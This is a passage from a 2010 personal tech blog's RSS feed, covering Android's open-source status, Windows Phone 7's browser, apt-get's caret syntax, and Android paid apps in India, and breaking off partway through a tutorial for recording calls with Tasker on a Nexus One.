&lt;p&gt;Are these speakers going to replace my full blown speaker set at home? No. But that is not the point. As a portable speaker, the X-mini Happy Capsule speaker packs a lot of punch while taking only a couple of inches and also playing double duty as a mp3/wma player that I&amp;rsquo;d pick it without a doubt.&lt;/p&gt;</content></item><item><title>ZDNet Fail. Answer is Stop Tech Blogging</title><link>https://shantanugoel.com/2010/11/19/zdnet-fail-answer-is-stop-tech-blogging/</link><pubDate>Fri, 19 Nov 2010 15:45:04 +0000</pubDate><guid>https://shantanugoel.com/2010/11/19/zdnet-fail-answer-is-stop-tech-blogging/</guid><description>&lt;p&gt;Just read this &lt;a href="http://www.zdnet.com/blog/open-source/android-fail-the-answer-is-a-google-phone/7822"&gt;article&lt;/a&gt; over at zdnet. What it basically says is condensed in these two points:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Android is a failure for Google because it is open and carriers/OEMs are stripping off google search from it and putting replacements like baidu/Bing. (BTW, half the people say Android is fail because it is not open and the other half say it is fail because it is open. Which one is it, please decide ;) )&lt;/p&gt;</description><content>&lt;p&gt;Just read this &lt;a href="http://www.zdnet.com/blog/open-source/android-fail-the-answer-is-a-google-phone/7822"&gt;article&lt;/a&gt; over at zdnet. What it basically says is condensed in these two points:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Android is a failure for Google because it is open and carriers/OEMs are stripping off google search from it and putting replacements like baidu/Bing. (BTW, half the people say Android is fail because it is not open and the other half say it is fail because it is open. Which one is it, please decide ;) )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The solution is a Google Phone with google branding, sold unlocked at full price.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let me answer 2nd point first. Dana Blankenhorn, thanks for that nice blast from the past advice. Google already did it with Nexus One, like, one year ago duh..&lt;/p&gt;
&lt;p&gt;Now, on to the first point. Even if lot of people are stripping off Google search, they still have a big share of the mobile search market. They didn&amp;rsquo;t create Android solely to earn from it directly. It was more of a way to ensure that they still have an avenue for mobile revenue which would have otherwise been completely lost (iPhone). Another thing here is that if they didn&amp;rsquo;t keep it open enough for other players, it might have not got such widespread adoption or they might have been killed in US/EU under antitrust laws.&lt;/p&gt;
&lt;p&gt;So, all I can say to Dana and ZDNet is &amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-&amp;gt; kthxbi :P&lt;/p&gt;</content></item><item><title>A short Tablet/Smartphone survey for a project</title><link>https://shantanugoel.com/2010/11/15/short-tablet-smartphone-survey-project/</link><pubDate>Mon, 15 Nov 2010 04:10:06 +0000</pubDate><guid>https://shantanugoel.com/2010/11/15/short-tablet-smartphone-survey-project/</guid><description>&lt;p&gt;I need a bit of your help in filling out a short survey that I need for a small project of mine that I&amp;rsquo;m doing with a friend. It will take maximum of only 2-3 minutes of your time. Please fill it out below. If you are facing any problems with the survey or have any queries/suggestions etc, please use this &lt;a href="https://shantanugoel.com/contact"&gt;contact form&lt;/a&gt; to send them to us.&lt;/p&gt;
&lt;p&gt;Much Thanks!! :)&lt;/p&gt;</description><content>&lt;p&gt;I need a bit of your help in filling out a short survey that I need for a small project of mine that I&amp;rsquo;m doing with a friend. It will take maximum of only 2-3 minutes of your time. Please fill it out below. If you are facing any problems with the survey or have any queries/suggestions etc, please use this &lt;a href="https://shantanugoel.com/contact"&gt;contact form&lt;/a&gt; to send them to us.&lt;/p&gt;
&lt;p&gt;Much Thanks!! :)&lt;/p&gt;</content></item><item><title>The Real Threat Of Windows Phone 7</title><link>https://shantanugoel.com/2010/10/28/the-real-threat-of-windows-phone-7/</link><pubDate>Thu, 28 Oct 2010 19:48:34 +0000</pubDate><guid>https://shantanugoel.com/2010/10/28/the-real-threat-of-windows-phone-7/</guid><description>&lt;p&gt;Many people say that Windows Phone 7 is a threat to iPhone because they are bringing in a super platform with a choice of multiple designs and multiple carriers with great Enterprise and gaming support and maintaining the lucrative integration that iPhone provides. Many also say that Windows Phone 7 is a threat to Android because it solves the problem of Apple&amp;rsquo;s draconian policies, gives choice to customers and all this without fragmenting the OS all over the place.&lt;/p&gt;</description><content>&lt;p&gt;Many people say that Windows Phone 7 is a threat to iPhone because they are bringing in a super platform with a choice of multiple designs and multiple carriers with great Enterprise and gaming support and maintaining the lucrative integration that iPhone provides. Many also say that Windows Phone 7 is a threat to Android because it solves the problem of Apple&amp;rsquo;s draconian policies, gives choice to customers and all this without fragmenting the OS all over the place.&lt;/p&gt;
&lt;p&gt;However, I beg to differ. Windows Phone 7 is a threat to the world wide web and web apps. It plans to help the developers and users by going one up on fragmentation of Android but in the process will fragment the web app world itself. This is because the browser in WP7 is based on Internet Explorer 7. Yes, not IE 9, not IE8, but IE7, which is already four years old now.&lt;/p&gt;
&lt;p&gt;Right now, if you have to do a web app, you can do it in HTML5, CSS3 etc and assume that it will work over most mobile handsets out there. Enter WP7 with its archaic browser and the developer has one more headache to solve. His app will be, in most cases, incompatible with the &amp;ldquo;new&amp;rdquo; platform and so he will have to code another version that works on IE7 as well. This will not only result in wasted time and effort but in fact, the developer may even have to hold back on features that might not work well on this ugly duckling which will hold the whole pack down for God knows how much more time.&lt;/p&gt;
&lt;p&gt;So, there it is. If the Android fragmentation reports are true, you can just buy another handset like an iPhone but this comeback-from-the-grave monster will fragment the mobile web app world itself so that you won&amp;rsquo;t have any reprieve whichever phone you buy. So, I appeal to you. If you want a better mobile future, talk about it, write about it and let Microsoft know that it can and must do better.&lt;/p&gt;</content></item><item><title>Is Android Open Source Or Not?</title><link>https://shantanugoel.com/2010/10/25/android-open-source-or-not/</link><pubDate>Mon, 25 Oct 2010 11:31:06 +0000</pubDate><guid>https://shantanugoel.com/2010/10/25/android-open-source-or-not/</guid><description>&lt;p&gt;Is Android really open source or not? That is the question being asked by almost everyone. A lot of people, especially those influenced by &lt;a href="http://en.wikipedia.org/wiki/Reality_distortion_field"&gt;RDF&lt;/a&gt; or those who are in the news industry with no idea about OS and open source but were asked by their boss to get a scoop on this pronto, tend to bring up a few keywords and then twist them around in the way they see fit to make sure it says Android isn&amp;rsquo;t open. They don&amp;rsquo;t need to be correct, they only need the article to &amp;ldquo;&lt;strong&gt;sound correct&lt;/strong&gt;&amp;rdquo; by picking up sentences out of context or putting quotes only from people who agree with them. This will convince their boss and 99% of their readers who have no idea about all these things either. But the boss is happy he got a story and associated clicks. Readers are happy because they got the points to float around in their next forum flame war. They don&amp;rsquo;t have to read when someone corrects them. They have made their points and rest is all someone making noises like a rat.&lt;/p&gt;</description><content>&lt;p&gt;Is Android really open source or not? That is the question being asked by almost everyone. A lot of people, especially those influenced by &lt;a href="http://en.wikipedia.org/wiki/Reality_distortion_field"&gt;RDF&lt;/a&gt; or those who are in the news industry with no idea about OS and open source but were asked by their boss to get a scoop on this pronto, tend to bring up a few keywords and then twist them around in the way they see fit to make sure it says Android isn&amp;rsquo;t open. They don&amp;rsquo;t need to be correct, they only need the article to &amp;ldquo;&lt;strong&gt;sound correct&lt;/strong&gt;&amp;rdquo; by picking up sentences out of context or putting quotes only from people who agree with them. This will convince their boss and 99% of their readers who have no idea about all these things either. But the boss is happy he got a story and associated clicks. Readers are happy because they got the points to float around in their next forum flame war. They don&amp;rsquo;t have to read when someone corrects them. They have made their points and rest is all someone making noises like a rat.&lt;/p&gt;
&lt;p&gt;A lot out of the rest of the people, who are indeed informed, make the mistake of thinking that &amp;ldquo;Open Source = GPL&amp;rdquo; or &amp;ldquo;Open Source = Free Software&amp;rdquo;, which is not true. Open source is similar to free software but is one that choses to keep more options open. In short, Free Software Movement, as the one evangelized by FSF, is a subset of open source that tries to achieve freedom of software by restriction.&lt;/p&gt;
&lt;p&gt;Please also note that many people including Steve Jobs confuse people more by interchanging between open and open source. An android phone that you get may not be open, the android market may be open, etc but this discussion is purely about open-source.&lt;/p&gt;
&lt;p&gt;Anyways, with asbestos underwear on, I write this post to speak my mind about this matter by talking about various points thrown up by the above mentioned classes. Since this is going to be a long post, I&amp;rsquo;ll mention here the things it is going to cover:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Allegations against Android&amp;rsquo;s open-source nature. Are they true?&lt;/li&gt;
&lt;li&gt;Does OSI Foundation (&lt;a href="http://www.opensource.org"&gt;Open source Initiative&lt;/a&gt;) think that Android is open source?&lt;/li&gt;
&lt;li&gt;Android and open source in layman terms&lt;/li&gt;
&lt;li&gt;Takeaways/conclusion&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Updated the article as per Tony and Kasper&amp;rsquo;s comments below. Thanks Kasper and Tony for your valuable inputs.&lt;/p&gt;
&lt;h3 id="android-and-open-source-allegations-and-answers"&gt;Android and Open Source: Allegations and Answers&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Allegation&lt;/strong&gt;: Google does a lot of development in private for few months and then releases the code to public.
&lt;strong&gt;Answer&lt;/strong&gt;: Almost every open source project I know does this. Do you think every person who works on an open source project pushes his code to the mainline 10 times when re writes a 10 line code? No. He completes the feature, tests it and then pushes it out. Individuals might do it sooner, companies might do it later but everyone pushes out their code when they feel things are fairly ready. So, Google choses to do the &amp;ldquo;push&amp;rdquo; every few months when they think their new feature set is ready. This, of course, is more influenced by the fact that they need to be competitive in the aggressive mobile market and hence not let the competitors know about the exact features but still it is well within the limits of open source. And they are doing it before/with the binary release as well.&lt;/p&gt;
&lt;p&gt;Also to be noted here is the fact that the &amp;ldquo;code dump&amp;rdquo; is done only for major releases. Minor fixes and even features keep trickling into the code base every now and then and these allow others to make fixes as well. e.g. Cyanogen was able to bring &amp;ldquo;802.11n&amp;rdquo; capability and was able to include various fixes including one for wi-fi sleep policies before they actually made into an OTA update for any phone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Allegation&lt;/strong&gt;: Only google employees can check in code to mainline.
&lt;strong&gt;Answer&lt;/strong&gt;: Every open source project has only a select few folks who can check in code. Most of the open source projects start with only their founders having commit access. They may or may not give commit accesses to anyone else. Check out various open source projects on sourceforge, googlecode, etc and you will find this. Most of the projects that do choose to give commit access to others, start doing it after some time when they feel the project is mature enough and they are confident enough in someone else. Android is just a hatchling, around 2 years old. It has begun making strides only now so Google may even choose to take the latter path but I can understand if Google wants to keep this as their control point because of the hustle and bustle of the mobile OS world which is much more rapid and cut throat than the desktop OS and this does not make them closed. Not only that, but seeing how everyone in the mobile world is so trigger happy with suing everyone else, it creates a legal issue for them as they would be the ones to answer if someone else brings this upon them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Allegation&lt;/strong&gt;: Google only accepts their own code into official android and nobody else&amp;rsquo;s.
&lt;strong&gt;Answer&lt;/strong&gt;: This one is hilarious. Obviously, anyone who says this hasn&amp;rsquo;t actually been to review.android.com. Just go their and check whether any merged changes have non-google, non-android email ids. Anyone can upload their patches there but the accepted ones are fairly low. This problem is present in every popular open source project, even the Linux kernel. But is more pronounced in the case of android because Google&amp;rsquo;s android team is much smaller than the number of persons working on other projects and there is red tape of a big company involved. If you want to get your patch in, just like the kernel, you need to engage with them. Talk to them in the relevant bug report, comment the code properly, give them a reason to not avoid your patch. But yes, the process is still very slow and it is eons faster to just contribute to a fork like cyanogenmod. I do hope that google does get better in this regard soon though.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Allegation&lt;/strong&gt;: It is not possible to make a full android build from the public code tree of android.
&lt;strong&gt;Answer&lt;/strong&gt;: BS. Cyanogen does just fine with his full AOSP builds. People argue that Google does not release the modem/baseband code but they idiotically fail to realize that the baseband code is not part of Android at all. It is the IP of the baseband manufacturer and is specific to each hardware. Android is just the code that runs on apps hardware. Google does not indeed release the code of their built in google apps (gtalk/gmail etc) though but they are already working towards that and these apps will not be a part of the base Android system anymore. These would be standalone apps and even now you don&amp;rsquo;t need them to make a fully working android build.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Allegation&lt;/strong&gt;: &amp;ldquo;Android&amp;rdquo; is a registered trademark and is held by Google.
&lt;strong&gt;Answer&lt;/strong&gt;: Linus holds the trademark for &amp;ldquo;Linux&amp;rdquo;, Mozilla foundation holds the trademark for &amp;ldquo;Firefox&amp;rdquo;, Canonical holds the trademark for &amp;ldquo;Ubuntu&amp;rdquo;. Get the drift? Basically, it is completely possible and allowed for an open source software to be trademarked.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Allegation&lt;/strong&gt;: Google doesn&amp;rsquo;t stop the carriers/OEMs from locking down the phones, adding bloatware or custom UIs.
&lt;strong&gt;Answer&lt;/strong&gt;: This is an issue with carriers/OEMs and not Android. Google uses the apache software license (ASL), which is a permissive license (like MIT, BSD, etc) and hence does not stop the carriers from doing such a thing (In fact, this is the very foundation of being open, check the next passage about OSI foundation, point no. 9). Many people say they should, but if they did then they wouldn&amp;rsquo;t be open anymore, would they?
Even Linus Torvalds is against making such a stipulation of not allowing locking of phones and this is the biggest reason why the Linux Kernel (and lot of other open source projects) didn&amp;rsquo;t move to FSF&amp;rsquo;s (&lt;a href="http://www.fsf.org"&gt;Free Software Foundation&lt;/a&gt;) GPL v3. I wonder why no one calls the Linux kernel closed hmmmm&amp;hellip;
BTW, if you are so serious about unlocked/rootable phones then buy a dev phone directly from google or get one from Synapse.&lt;/p&gt;
&lt;h3 id="android-and-open-source-osi-foundation"&gt;Android and Open Source: OSI Foundation&lt;/h3&gt;
&lt;p&gt;The OSI foundation has a few guidelines to determine whether something is open source or not under their &lt;a href="http://www.opensource.org/osd.html"&gt;Open Source Definition&lt;/a&gt;. Android uses the OSI compatible Apache Software License (ASL) but still let&amp;rsquo;s see whether Android comes up to all of them or not. If it is in conflict with even one of the requisites, we will call Android closed.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Allow free redistribution - Check&lt;/li&gt;
&lt;li&gt;Give out un-obfuscated source code - Check&lt;/li&gt;
&lt;li&gt;Allow modifications and derived works - Check&lt;/li&gt;
&lt;li&gt;Allow distribution of modifications (as patches) or modified software as a whole. Can restrict the modified versions from using original name of software - Check&lt;/li&gt;
&lt;li&gt;No discrimination against any person or groups - Check&lt;/li&gt;
&lt;li&gt;No restriction of using the software on any device or field - Check&lt;/li&gt;
&lt;li&gt;No additional license needed - Check&lt;/li&gt;
&lt;li&gt;No product-specific license - Check&lt;/li&gt;
&lt;li&gt;No restriction on software distributed along with original software - Check&lt;/li&gt;
&lt;li&gt;Technology neutral, i.e., no preference for an individual technology or user interface - Check
So, Android is true to each and every point that being open demands to it. In fact, points 9 and 10 are fundamental in making it open but alas, people less oriented with open software tend to term this as being closed (as seen in the last allegation above)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="android-and-open-source-from-a-laymans-view-point"&gt;Android and Open Source: From a layman&amp;rsquo;s view point&lt;/h3&gt;
&lt;p&gt;Apart from the above, I would also like to share a few &amp;ldquo;layman-examples&amp;rdquo; which will let you understand for yourself why Android is open:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can see all the official android OS code without any restrictions&lt;/li&gt;
&lt;li&gt;You can download it, fork it, modify it without asking google&lt;/li&gt;
&lt;li&gt;You can port it to any device without asking google&lt;/li&gt;
&lt;li&gt;You can develop and sell your phone with Android without asking google
Now compare that with any other mobile OS you know.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="android-and-open-source-conclusion"&gt;Android and Open Source: Conclusion&lt;/h3&gt;
&lt;p&gt;So, the takeaways from the above wall of text are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Android is open-source&lt;/li&gt;
&lt;li&gt;Android is permissively open-source instead of being restrictive&lt;/li&gt;
&lt;li&gt;Android can do better in terms of community driven development but is perhaps held back by pace of competition and legalities involved. But, this in no way makes it non-open-source.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let me know if you have any corrections or allegations to make :)&lt;/p&gt;</content></item><item><title>What does caret (^) in an apt-get command mean?</title><link>https://shantanugoel.com/2010/10/23/apt-get-caret/</link><pubDate>Sat, 23 Oct 2010 18:03:06 +0000</pubDate><guid>https://shantanugoel.com/2010/10/23/apt-get-caret/</guid><description>&lt;p&gt;If you have come across a tutorial or just someone on a forum who tells you to install something in Debian/Ubuntu that involves using apt-get, it is ok for you but when they tell you that you need to use a caret symbol (^) at the end, that&amp;rsquo;s where you become curious. What is even more weird is that when you search for the name of the package that the given command seems to install cannot be found using apt-cache search. e.g. You will see this used most often when someone tells you how to install LAMP server setup (Linux-Apache-MySQL-PHP) by using the command &amp;ldquo;sudo apt-get install lamp-server^&amp;rdquo;. If you miss the caret at the end or try to search for lamp-server, it just doesn&amp;rsquo;t work.&lt;/p&gt;</description><content>&lt;p&gt;If you have come across a tutorial or just someone on a forum who tells you to install something in Debian/Ubuntu that involves using apt-get, it is ok for you but when they tell you that you need to use a caret symbol (^) at the end, that&amp;rsquo;s where you become curious. What is even more weird is that when you search for the name of the package that the given command seems to install cannot be found using apt-cache search. e.g. You will see this used most often when someone tells you how to install LAMP server setup (Linux-Apache-MySQL-PHP) by using the command &amp;ldquo;sudo apt-get install lamp-server^&amp;rdquo;. If you miss the caret at the end or try to search for lamp-server, it just doesn&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;Well, the answer is that the caret symbol is a short form for performing a task that otherwise the program &amp;ldquo;tasksel&amp;rdquo; would have done with the given package name. tasksel is a program to ease the installation of commonly used things that go together for a particular use. e.g. In the above instance of LAMP, the four packages and their dependencies are always used together, so tasksel provides a sort of a meta-package or meta-task that can be run by the user with a single command and then tasksel will take it upon itself to install all of them and set them up correctly for your use. Now, apt-get provides a way to perform that same task by itself without you having to install tasksel first and all you have to do is to give that same package name to apt-get but just append a caret at the end to tell apt-get that it is a tasksel package/task identifier and not a regular package name in debian/ubuntu repositories.&lt;/p&gt;
&lt;p&gt;Hope that clears things up :)&lt;/p&gt;</content></item><item><title>Android Paid Apps Now Live In India</title><link>https://shantanugoel.com/2010/10/05/android-paid-apps-now-live-in-india/</link><pubDate>Tue, 05 Oct 2010 07:35:39 +0000</pubDate><guid>https://shantanugoel.com/2010/10/05/android-paid-apps-now-live-in-india/</guid><description>&lt;p&gt;Yes! As of today noon, paid apps are now visible on my Android Nexus One in India. Few salient points (Also, look at the end to see how to get paid apps if you are not able to see them yet):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The marketplace shows approximate prices of each app in Indian Rupees (INR) (Edit: I&amp;rsquo;ve just learned from few tweets that this is a new feature worldwide. People everywhere are now seeing approximate app costs in their local currencies. Good stuff!)&lt;/p&gt;</description><content>&lt;p&gt;Yes! As of today noon, paid apps are now visible on my Android Nexus One in India. Few salient points (Also, look at the end to see how to get paid apps if you are not able to see them yet):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The marketplace shows approximate prices of each app in Indian Rupees (INR) (Edit: I&amp;rsquo;ve just learned from few tweets that this is a new feature worldwide. People everywhere are now seeing approximate app costs in their local currencies. Good stuff!)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can see the paid apps on main list and in the &amp;ldquo;Just In&amp;rdquo; Tab but there is no &amp;ldquo;Top Paid&amp;rdquo; tab available. (**Update: **If you can&amp;rsquo;t see the &amp;ldquo;top paid&amp;rdquo; tab, then go to settings-&amp;gt;Applications-&amp;gt;All-&amp;gt;Market and clear data and cache &amp;amp; launch market app again. You will be able to see top paid tab as well :) )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can, however, search for any paid app or follow a direct marketplace link fine.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Final payment is done in the original currency of the app developer (e.g. pounds or dollars)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The payment method is credit cards through Google Checkout.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Debit cards won&amp;rsquo;t work for payment. Even though google checkout accepts them, they show up as &amp;ldquo;invalid&amp;rdquo; while buying apps. I presume that this is because of the 24 hour refund feature of Android marketplace.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Carrier Billing is not available though&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Another new thing reported. &amp;ldquo;Update All&amp;rdquo; feature which was so far available only on Froyo ROMs has also been included for devices with older Android versions. I&amp;rsquo;m not sure which all versions have it but it is at least showing up on 2.1 (Eclair) ROMs now.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let me know if you can see the paid apps as well. If you cannot, try these two things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Open Phone app and dial &amp;ldquo;*#*#2432546#*#*&amp;rdquo; and wait. You should get a &amp;ldquo;Checkin succeeded&amp;rdquo; notification.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restart your phone.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</content></item><item><title>WordPress Global Dashboard &amp; Stats Plugin Problem</title><link>https://shantanugoel.com/2010/10/04/wordpress-global-dashboard-stats-plugin-problem/</link><pubDate>Mon, 04 Oct 2010 16:57:30 +0000</pubDate><guid>https://shantanugoel.com/2010/10/04/wordpress-global-dashboard-stats-plugin-problem/</guid><description>&lt;p&gt;Seems like there is a major problem going on with WordPress.com and it&amp;rsquo;s stats plugin right now. On logging into your WordPress blog, instead of seeing the pretty charts and stats, you will see a login box instead. On logging in, it just redirects back to the same thing again (Dashboard with login page). And if you try logging into your profile over at WordPress.com, then it just redirects back to your main blog associated with your WordPress.com profile even if it is a self hosted blog.&lt;/p&gt;</description><content>&lt;p&gt;Seems like there is a major problem going on with WordPress.com and it&amp;rsquo;s stats plugin right now. On logging into your WordPress blog, instead of seeing the pretty charts and stats, you will see a login box instead. On logging in, it just redirects back to the same thing again (Dashboard with login page). And if you try logging into your profile over at WordPress.com, then it just redirects back to your main blog associated with your WordPress.com profile even if it is a self hosted blog.&lt;/p&gt;
&lt;p&gt;It might have to do something with the new &lt;a href="http://en.blog.wordpress.com/2010/09/30/sexy-stats/"&gt;sexy stats&lt;/a&gt; that WordPress guys were scheduled to be rolling out. I hope the problem gets fixed soon.&lt;/p&gt;
&lt;p&gt;Update: Looks like WordPress guys are &lt;a href="http://en.forums.wordpress.com/topic/global-dashboard-3"&gt;looking into it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update 2: The problems seems to have been fixed by WordPress staff. Good work, guys.&lt;/p&gt;</content></item><item><title>Carrier Billing Behind Android Paid Apps Market Jump?</title><link>https://shantanugoel.com/2010/10/01/carrier-billing-behind-android-paid-apps-market-jump/</link><pubDate>Fri, 01 Oct 2010 17:19:51 +0000</pubDate><guid>https://shantanugoel.com/2010/10/01/carrier-billing-behind-android-paid-apps-market-jump/</guid><description>&lt;p&gt;We heard the &lt;a href="https://shantanugoel.com/2010/10/01/android-paid-apps-india.html"&gt;news&lt;/a&gt; today that paid apps in Android market place have been extended to 18 new countries. Could &amp;ldquo;Carrier Billing&amp;rdquo; (Allowing your service operator to add the apps&amp;rsquo; price to your cellphone bill) be the reason behind it? I think so. It was long suggested that Google Checkout and corresponding legal issues in using it across various countries was the reason behind the paid apps not being available in those countries. The, all of us developers got an email from Google on 24th of July about an updated Developers&amp;rsquo; Distribution Agreement, which basically said in clause 13.1 that &amp;ldquo;authorized carriers&amp;rdquo; had been added as an indemnified party in the apps sales.&lt;/p&gt;</description><content>&lt;p&gt;We heard the &lt;a href="https://shantanugoel.com/2010/10/01/android-paid-apps-india.html"&gt;news&lt;/a&gt; today that paid apps in Android market place have been extended to 18 new countries. Could &amp;ldquo;Carrier Billing&amp;rdquo; (Allowing your service operator to add the apps&amp;rsquo; price to your cellphone bill) be the reason behind it? I think so. It was long suggested that Google Checkout and corresponding legal issues in using it across various countries was the reason behind the paid apps not being available in those countries. The, all of us developers got an email from Google on 24th of July about an updated Developers&amp;rsquo; Distribution Agreement, which basically said in clause 13.1 that &amp;ldquo;authorized carriers&amp;rdquo; had been added as an indemnified party in the apps sales.&lt;/p&gt;
&lt;p&gt;What&amp;rsquo;s more is that the agreement had a 30 day period to be accepted (August end), and then just one month after that we got the news of so many new countries being added. Sounds mighty coincidental to me. I think it would have been much easier for google to work through the carriers to allow paid apps than burning through all that red tape for its own google checkout.&lt;/p&gt;
&lt;p&gt;This is good news, if true because carrier billing is much more convenient I think. Plus it can be used even if you do not own a credit card. Let&amp;rsquo;s hope for the best :)&lt;/p&gt;</content></item><item><title>Android Paid Apps Available In India</title><link>https://shantanugoel.com/2010/10/01/android-paid-apps-india/</link><pubDate>Fri, 01 Oct 2010 03:40:00 +0000</pubDate><guid>https://shantanugoel.com/2010/10/01/android-paid-apps-india/</guid><description>&lt;p&gt;Just got a mail from Google that paid apps are being made available in India. HOORAY!!! In addition, developers from 20 more countries can sell apps on market (Unfortunately, no India in this list) and people from 18 more countries can buy paid apps.&lt;/p&gt;
&lt;p&gt;This is a big thing because now 32 countries out of 44 where Android has footprint can buy paid apps. This should take away one of the biggest drawbacks that Android marketplace was facing.&lt;/p&gt;</description><content>&lt;p&gt;Just got a mail from Google that paid apps are being made available in India. HOORAY!!! In addition, developers from 20 more countries can sell apps on market (Unfortunately, no India in this list) and people from 18 more countries can buy paid apps.&lt;/p&gt;
&lt;p&gt;This is a big thing because now 32 countries out of 44 where Android has footprint can buy paid apps. This should take away one of the biggest drawbacks that Android marketplace was facing.&lt;/p&gt;
&lt;p&gt;This the list that I received:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Effective today, developers from 20 additional countries (Argentina, Australia, Belgium, Brazil, Canada, Denmark, Finland, Hong Kong, Ireland, Israel, Mexico, New Zealand, Norway, Portugal, Russia, Singapore, South Korea, Sweden, Switzerland and Taiwan) can now sell paid apps on Android Market. Over the next 2 weeks, users from 18 new countries (Argentina, Brazil, Belgium, Czech Republic, Denmark, Finland, Hong Kong, India, Ireland, Israel, Mexico, Norway, Poland, Portugal, Russia, Singapore, Sweden, and Taiwan) will be able to purchase paid apps from Android Market.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, let&amp;rsquo;s hope that Google allows Indian developers to sell their apps soon as well. :)&lt;/p&gt;</content></item><item><title>Setup Call Recording With Android App Tasker On Nexus One</title><link>https://shantanugoel.com/2010/09/24/setup-call-recording-android-app-tasker-nexus-one/</link><pubDate>Fri, 24 Sep 2010 10:01:16 +0000</pubDate><guid>https://shantanugoel.com/2010/09/24/setup-call-recording-android-app-tasker-nexus-one/</guid><description>&lt;p&gt;I wanted to record calls on my Android phone (Nexus one). The easy way would have been to download an app but I like tinkering. And given that I recently bought &lt;a href="http://tasker.dinglisch.net/"&gt;Tasker&lt;/a&gt;, android’s very own swiss knife, I thought I should give it a run. After just an hour I was able to create my very own call recorder (some time went into trial and error with things as this was my first major task with tasker and also some things didn’t work with nexus one, which I will note below). I’ll outline the process to set it up here in as much detail as possible and will also provide the profiles. Please note that I made this setup for nexus one but it should work on pretty much any android phone and, in fact, it might work even better on your phone by making a few tweaks that I will outline as Nexus one doesn’t allow jacking into the call streams directly but your phone might.&lt;/p&gt;</description><content>&lt;p&gt;I wanted to record calls on my Android phone (Nexus one). The easy way would have been to download an app but I like tinkering. And given that I recently bought &lt;a href="http://tasker.dinglisch.net/"&gt;Tasker&lt;/a&gt;, android’s very own swiss knife, I thought I should give it a run. After just an hour I was able to create my very own call recorder (some time went into trial and error with things as this was my first major task with tasker and also some things didn’t work with nexus one, which I will note below). I’ll outline the process to set it up here in as much detail as possible and will also provide the profiles. Please note that I made this setup for nexus one but it should work on pretty much any android phone and, in fact, it might work even better on your phone by making a few tweaks that I will outline as Nexus one doesn’t allow jacking into the call streams directly but your phone might.&lt;/p&gt;
&lt;p&gt;So, let’s begin. My visioned scenario is like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;When you start a call (incoming or outgoing), i.e., when both the parties have picked up the phone, a notification should appear in the status bar.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Clicking on this notification should start recording the call. It should also give way to another notification now.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This new notification should stop the call recording when clicked.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you don’t stop the call recording, the recording should automatically stop when the call ends.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To achieve the steps mentioned above, you will have to create “4” profiles in tasker. The xml files for these profiles are provided in a zip at the end of this article that you can download and import into tasker directly. If you want to understand more about whats going on, here are the details of each profile so that you can understand and modify them according to your needs. These profiles are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Profile 1. Call Started&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tasker description:&lt;/p&gt;
&lt;p&gt;Profile: Call started
Event: Phone Offhook
Enter: 11
Execute, Abort New Task
A0: Variable Clear [ Name:%RECORDING ]
A1: Notify [ Title:Record Call Text: Icon: Number: Permanent: ]&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;None&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Profile 2. Record Call&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tasker description:&lt;/p&gt;
&lt;p&gt;Profile: Record call
Event: Notification Click
Enter: Record Call
Execute, Abort New Task
A0: Notify Cancel [ Title:Record Call Warn Not Exist: ]
A1: Variable Set [ Name:%RECORDING To:1 Do Maths: Append: ]
A2: In-Call Volume [ Level:5 Display: Sound: ]
A3: Speakerphone [ Set:On ]
